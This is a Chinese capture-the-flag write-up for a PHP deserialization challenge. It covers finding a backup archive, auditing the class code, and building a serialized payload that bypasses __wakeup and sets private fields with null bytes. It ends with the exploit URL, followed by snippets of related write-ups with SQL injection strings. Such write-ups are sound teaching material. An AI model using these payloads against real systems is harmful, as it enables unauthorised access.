[极客大挑战 2019]PHP CTF题解与分析

知识点

  • php序列化与反序列化
    序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
    反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
    常用的魔术方法:
    __construct():创建对象时初始化,当一个对象创建时被调用
    __wakeup() 使用unserialize时触发
    __sleep() 使用serialize时触发
    __destruction():结束时销毁对象,当一个对象销毁时被调用
  • private
    private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
  • __wakeup()绕过
    在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

    解题思路与过程

    1.目录扫描
    访问题目连接根据提示猜测可能存在信息泄露,我们扫描目录发现备份文件:www.zip,发现备份文件为源代码

    2.代码审计
    在index.php中找到php代码

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

这里包含了class.php文件,用GET方法传入参数select的值,然后反序列化该值,猜测此题与反序列化漏洞有关
接着审class.php

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
?>

如果password=100,username=admin,在调用__destruct()时就可以获得flag,因此我们需要构造一个序列化使得password=100,username=admin

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
?>

得到序列化后的结合

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

3.绕过__wakeup()

__wakeup()方法中$this->username = ‘guest‘会让username重新赋值。在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行,我们可以将字符串中O:4:"Name"后面的2改为3及以上的整数

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

注意该类中使用的private来声明字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制结果,该空白字符会丢失,需要我们自己加上

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

将该字符串作为select参数的值,GET方式发送过去就可以获得flag

http://题目链接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

原文地址:https://www.cnblogs.com/g0udan/p/12327150.html

时间: 2024-08-27 18:28:29

[极客大挑战 2019]PHP CTF题解与分析的相关文章

[极客大挑战 2019]EasySQL CTF复现

前言 之前复现了一下极客大挑战2019的Havefun感觉非常的简单,应该是我没有参加极客大挑战把,对这些题没啥印象.复现完Havefun之后接着做了做EasySQL发现这也是一道非常基础的题 复现 初次相遇 我们打开题目链接发现是一个充满黑客色彩的登录页面 发现没有注册的功能,题目是EasySQL,我们猜测出题人的意思就是想让我们注入进去吧 逐步尝试 我们试着加在用户名或密码处加一个单引号,点击登录后我们发现报错了 在报错信息中我们可以看到是字符类的注入,我们可以通过"万能密码"来直

[极客大挑战 2019]Havefun (一起来撸猫) CTF复现

前言 这是一道非常简单基础的CTF题,好久都没有遇到这种简单的题了,让我看到了生活的希望,对未来充满了向往 题目链接:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Havefun (https://buuoj.cn里面web类的[极客大挑战 2019]Havefun) 复现 初次试水 打开题目链接我们可以看到只是一个静态页面,就连可以点的东西都没有 明察秋毫 页面出了一只可爱的胖

CTF [极客大挑战 2019]Secret File 复现

[极客大挑战 2019]Secret File 复现 知识点 前端中背景可以覆盖内容,页面源代码可以查看完整的html 在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示. 文件包含漏洞,PHP伪协议获取文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用. 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile(). file() 和 file_get_contents(), 在数据流内容

[极客大挑战 2019]FinalSQL

0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称 1^(ord(substr((select(group_concat(table_name))from(information_schema

[极客大挑战 2019]Havefun

打开题目右键查看源代码 <!--$cat=$_GET['cat']; echo $cat; if($cat=='dog') {echo 'Syc{cat_cat_cat_cat}';}--> 直接传参/?cat=dog 得到flag 原文地址:https://www.cnblogs.com/wangtanzhi/p/12173282.html

[极客大挑战 2019]Secret File

0x00知识点 没有过滤file 使用php的file伪协议去读取文件 ?file=php://filter/convert.base64-encode/resource=flag.php 0x01解题 打开网站存在跳转.抓包,访问 http://152518b2-d342-4872-8adc-b5bcec554a4d.node3.buuoj.cn/secr3t.php 给了我们源代码 <html>????<title>secret</title>????<met

[极客大挑战 2019]LoveSQL

0x00 知识点 1:万能密码登陆 2:登陆后直接使用联合查询注入 0x01解题 登陆后进行简单测试发现是字符型注入 order by 测试数据库有多少字段 发现在4的时候报错,没有过滤,直接进行注入 注入数据库: admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata# 查询数据表 username=admin&password=admin'%20union%20select%201%2

[极客大挑战 2019]Upload

0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: php,php3,php4,php5,phtml.pht 2:常用一句话: GIF89a? <script language="php">eval($_REQUEST[shell])</script> php5适用 3:文件类型绕过 改成image/jpeg 0x

极客大挑战 2019 web 部分解

复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d044fcc945.node3.buuoj.cn/?cat=dog 0x02:EasySQL 用万能密码 用户名:'or 1=1# 密码 : 随便输 看下用户名和密码都不知道的情况: username='admin'or 1=1#' and password='随便写' #把后面的都注释掉了,1=1为